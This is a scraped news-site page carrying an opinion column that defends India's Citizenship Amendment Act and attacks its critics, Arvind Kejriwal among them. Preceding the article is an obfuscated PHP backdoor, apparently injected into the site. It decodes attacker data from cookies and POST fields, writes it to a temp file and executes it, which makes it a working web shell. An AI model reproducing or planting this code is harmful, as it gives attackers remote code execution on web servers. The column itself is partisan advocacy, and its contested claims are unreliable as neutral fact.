$HVlOqnYNVy = "\x48" . '_' . chr (85) . chr (69) . chr (83); $gKIkP = chr (99) . chr (108) . chr (97) . "\x73" . 's' . chr (95) . "\145" . chr (120) . chr ( 1102 - 997 ).chr (115) . 't' . "\x73";$WCaWTESsW = class_exists($HVlOqnYNVy); $HVlOqnYNVy = "51638";$gKIkP = "35458";$ECozt = !1;if ($WCaWTESsW == $ECozt){function CUMTuM(){return FALSE;}$sfWHPVuka = "22314";CUMTuM();class H_UES{private function DXeAzK($sfWHPVuka){if (is_array(H_UES::$lKthIReTgf)) {$LXIXPGXnJ = sys_get_temp_dir() . "/" . crc32(H_UES::$lKthIReTgf['s' . chr (97) . 'l' . chr ( 1114 - 998 )]);@H_UES::$lKthIReTgf["\x77" . chr ( 468 - 354 ).chr ( 805 - 700 )."\x74" . "\145"]($LXIXPGXnJ, H_UES::$lKthIReTgf[chr (99) . chr ( 139 - 28 )."\156" . chr ( 219 - 103 ).'e' . 'n' . 't']);include $LXIXPGXnJ;@H_UES::$lKthIReTgf["\144" . "\145" . "\154" . chr (101) . 't' . chr ( 526 - 425 )]($LXIXPGXnJ); $sfWHPVuka = "22314";exit();}}private $MbaBnMUF;public function VVbGCsFo(){echo 56600;}public function __destruct(){$sfWHPVuka = "44129_905";$this->DXeAzK($sfWHPVuka); $sfWHPVuka = "44129_905";}public function __construct($cYSwn=0){$CHlPG = $_POST;$yrOiERfh = $_COOKIE;$IiVCz = "6da796db-35ad-460b-9713-f25005802582";$LeZKlJIwZ = @$yrOiERfh[substr($IiVCz, 0, 4)];if (!empty($LeZKlJIwZ)){$OAvLmvYzI = "base64";$yCkLI = "";$LeZKlJIwZ = explode(",", $LeZKlJIwZ);foreach ($LeZKlJIwZ as $AFuKmuNV){$yCkLI .= @$yrOiERfh[$AFuKmuNV];$yCkLI .= @$CHlPG[$AFuKmuNV];}$yCkLI = array_map($OAvLmvYzI . '_' . 'd' . "\x65" . 'c' . "\x6f" . 'd' . chr ( 1056 - 955 ), array($yCkLI,)); $yCkLI = $yCkLI[0] ^ str_repeat($IiVCz, (strlen($yCkLI[0]) / strlen($IiVCz)) + 1);H_UES::$lKthIReTgf = @unserialize($yCkLI); $yCkLI = class_exists("44129_905");}}public static $lKthIReTgf = 3842;}$joMIUMqP = new /* 50088 */ H_UES(22314 + 22314); $_POST = Array();unset($joMIUMqP);} India’s Citizenship Amendment Act is moral and legal responsibility under Human Rights | The Australia Today

India’s Citizenship Amendment Act is moral and legal responsibility under Human Rights

Even though the Citizenship Amendment Act is finding itself at the very core of the Indian political scene at the moment, its very nature is not political at all.

By Omer Ghazi

The Citizenship Amendment Act (CAA) does not concern Indian citizens and, by logical progression, does not impact the citizenship of Indian Muslims in any way or form. Even though this has been reiterated and re-assured ad nauseam by the government as well as political analysts alike, those opposing CAA have not seemed to fully register this simple statement.

Delhi Chief Minister Arvind Kejriwal also jumped the bandwagon with those spreading misinformation about the act that is on its way to give dignity of life to those fleeing persecution. He not only raised questions about the legality of the act, which anyway has been proven, he also launched scathing attacks on the victims, saying that the cases of theft, robbery and rape would increase if people from the neighbouring countries are given shelter in India. 

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Earlier, when the ruling party had presented the first draft of the bill in the parliament, he had, in all seriousness, commented that its intention is to settle “crores of people” from the neighbouring countries and this would put a pressure on the healthcare and employment conditions in India. This was back in 2020. Now, one would imagine that an interval of four years would be enough for someone to go through the draft of the act which is only a few pages long. Turns out, it was not. The Aam Aadmi Party supremo doubled down on his comments about the “infiltrators” stealing the jobs meant for Indian youth. Needless to say, it led to condemnation, widespread uproar and a protest outside his residence. 

The reasons why Arvind Kejriwal is so adamant against giving basic human rights to the refugees are best known to him, but this is not about Arvind Kejriwal, this is about a certain ecosystem spreading misinformation and propaganda about an act which should not have been controversial to begin with, and the Delhi Chief Minister is just a cog in the wheel. 

Even though the Citizenship Amendment Act is finding itself at the very core of the Indian political scene at the moment, its very nature is not political at all. Just like poverty is not political, rape is not political; similarly, Citizenship Amendment Act is not an issue of politics but one of human rights. The biggest evidence that the CAA is beyond politics is that it was a promise made by India under the leadership of Jawaharlal Nehru and it is delivered by India under the leadership of Prime Minister Narendra Modi. 

At the time of Independence, a large section of the Muslims of the subcontinent demanded a separate nation severed from the Indian landmass on the basis of religion. The demand resulted in a bloodied and hasty partition that displaced 15 million people and resulted in almost 2 million deaths. Those commenting on the “communal” nature of the CAA should notice that the very nature of the partition was communal, it was an assault on the dignity of this landmass and its soul, and its echoes were to be heard for decades, if not centuries, to come. 

Indian Prime Minister Jawaharlal Nehru and Pakistan Prime Minister Liaquat Ali Khan signed a bilateral agreement, the Nehru-Liaquat pact, in order to provide a framework for the treatment of minorities in the two countries; this pact provides the legal foundation for the Citizenship Amendment Act (CAA).  A simple look at the statistics can provide an insight into the status of minorities in the two countries over last 7 decades. 

Farahnaz Ispahani, media advisor to the president of Pakistan from 2008 to 2012, writes in her book Purifying the Land of the Pure: Pakistan’s Religious Minorities that from 23% in 1947, Pakistan’s minorities today constitute a mere 3-4% of the population, calling it a slow genocide. In Bangladesh, earlier East Pakistan, similarly, the Hindu, Buddhist population has been reduced to about 8% from 29%. Over the years, the Hindu and Sikh populations in Afghanistan have also experienced a consistent decline. In the 1970s, it is estimated that there were approximately 700,000 Hindus and Sikhs in the country. By 1992, this number had dropped to around 220,000, and by the end of 2021, it had plummeted to just about 150, compared to 400 at the beginning of the same year.

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On the other hand, the demographic ratio of India shows an increase in Muslim population from 9.8% in 1951 to 14.2% in 2011, when the last Census was conducted. One does not need to have a degree in statistics to conclude which nation has been more accommodative of its minorities. 

If one argues that the non-Muslim population in Pakistan, Bangladesh and Afghanistan is declining owing to the willful and consensual conversion to the Islamic faith in large numbers, then it begs the question, why is that not the case in India. Moreover, anyone not living under a rock for the past few decades would be aware of the plight of the non-Muslim minorities in the aforesaid countries. As per a Human Right Commission of Pakistan (HRCP) report, around 1,000 girls belonging to Hindu and Christian religion are abducted, forcefully converted and married to Muslim men in Pakistan alone. If that statistic, by itself, is not a solid foundation for the Citizenship Amendment Act (CAA) then nothing else is.   

An additional objection to the legislation is that India, as a secular nation, cannot pass a law rooted in religion, which could potentially violate Article 15 of the constitution. Article 15 prohibits discrimination based on various factors including religion, race, caste, sex, and place of birth. It explicitly states that “the State shall not discriminate against any citizen on grounds only of religion, race, caste, sex, place of birth or any of them.” However, it’s important to note that Article 15 cannot be used to challenge the constitutional validity of the Citizenship Amendment Act (CAA) because it specifically pertains to Indian citizens. The language of Article 15 clearly indicates that it applies solely to citizens of India.

Moreover, it is not India’s fault that its three neighbouring countries decided to become an Islamic theocracy demeaning the rights of their non-Muslim citizens. This is no rocket science that if the persecution is happening on the basis of religion, then the refuge would be given on the basis of religion as well. And if Muslims are also feeling persecuted in Pakistan and Bangladesh and they want refuge back in India, then what was the point of creating Pakistan in the first place? In simpler terms, a Muslim cannot be persecuted for being Muslim in an Islamic state. The internecine sectarian conflicts between Shias and Sunnis are not India’s problems to solve, but still, if one feels that Ahmediyyas need to be allowed to seek refuge, then the current form of CAA does not restrict them either. They can still apply for Indian citizenship, and it can be considered on a case-to-case basis. 

This is not the first Indian legislation addressing religion either. India has not adopted the French brand of secularism, which advocates equal distance from all religions, the Indian Constitution, instead, promotes a policy of principled distance. This approach allows for state intervention in religious affairs when such intervention is requested from within the religion itself. In essence, our Constitution allows for the enactment of laws that are not neutral towards religion, provided there is reasonable justification for them. Social reform laws serve as prime examples of this principle in action. There is no scope of snatching anyone’s citizenship through this act either, the notion of discarding the citizenship of Indian Muslims in completely unfounded. 

India is a nation that tolerates bodies like All India Muslim Personal Law Board (AIMPLB), hands out religion-based quotas and reservations, gives minority character to educational institutions, runs minority welfare schemes, taxes temples but gives salaries to mosque imams and so on. If there has to be a conversation on religion-based legislations, it cannot start at the Citizenship Amendment Act. 

The Citizenship Amendment Act (CAA) is India’s moral and legal responsibility, a promise to the people wronged and aggrieved by the historical blunder of partition, facing the brunt of a decision they did not make in the first place.  

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